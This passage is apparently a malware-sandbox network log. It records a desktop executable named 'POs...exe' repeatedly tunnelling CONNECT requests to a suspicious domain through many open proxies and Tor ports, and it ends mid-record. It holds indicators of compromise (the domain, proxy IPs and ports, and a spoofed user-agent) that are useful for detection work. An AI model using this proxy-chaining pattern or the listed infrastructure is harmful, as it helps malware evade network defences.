Mar 11, 2024 16:42:24.858176947 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.16.1 Date: Mon, 11 Mar 2024 15:27:16 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1213	192.168.2.11	53841	175.183.82.221	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.551815033 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1214	192.168.2.11	53204	142.54.236.97	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.559633017 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1215	192.168.2.11	53826	122.114.232.137	808	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.571779013 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1216	192.168.2.11	53869	31.134.151.40	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.571898937 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.910641909 CET	172	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.2.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1217	192.168.2.11	53891	138.68.155.22	35650	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.632981062 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.329555035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:26.311136961 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.058728933 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:31.569930077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:35.032747984 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:38.642019987 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:45.500988007 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:59.282236099 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1218	192.168.2.11	53879	139.162.151.176	9050	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.636324883 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:27.070012093 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1219	192.168.2.11	52046	3.10.93.50	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.653562069 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:24.954787970 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:42:24 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1220	192.168.2.11	53379	105.112.140.218	8080	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.654248953 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.673228979 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.688965082 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1221	192.168.2.11	53866	175.183.82.221	8193	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.654354095 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1222	192.168.2.11	53917	162.214.227.68	60433	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.655879974 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.282367945 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1223	192.168.2.11	53464	186.121.214.210	32650	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.655993938 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.720580101 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.829566002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1224	192.168.2.11	52013	103.78.201.242	3128	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.656251907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.078370094 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1225	192.168.2.11	53867	103.83.232.122	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.659553051 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1226	192.168.2.11	53899	103.23.100.1	4145	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.660041094 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1227	192.168.2.11	51875	117.160.250.134	8899	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.660164118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.280807972 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Mon, 11 Mar 2024 15:42:25 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1228	192.168.2.11	52296	195.35.32.249	80	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.660238981 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.673279047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.688955069 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:36.689671040 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:03.801244974 CET	60	IN	HTTP/1.0 200 Connection Established Proxy-agent: Apache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1229	192.168.2.11	53539	107.180.103.214	13286	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.660655022 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:27.673243046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:30.688951015 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:36.689553976 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:48.689479113 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:00.782272100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:12.782285929 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:43:36.876102924 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:44:24.875834942 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1230	192.168.2.11	52101	101.255.166.134	1111	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.660758018 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:28.816848993 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1231	192.168.2.11	52098	37.18.73.60	5566	6484	C:\Users\user\Desktop\POs#U034fx#U034fl#U034fx#U034f..exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:42:24.660831928 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:42:25.004539967 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 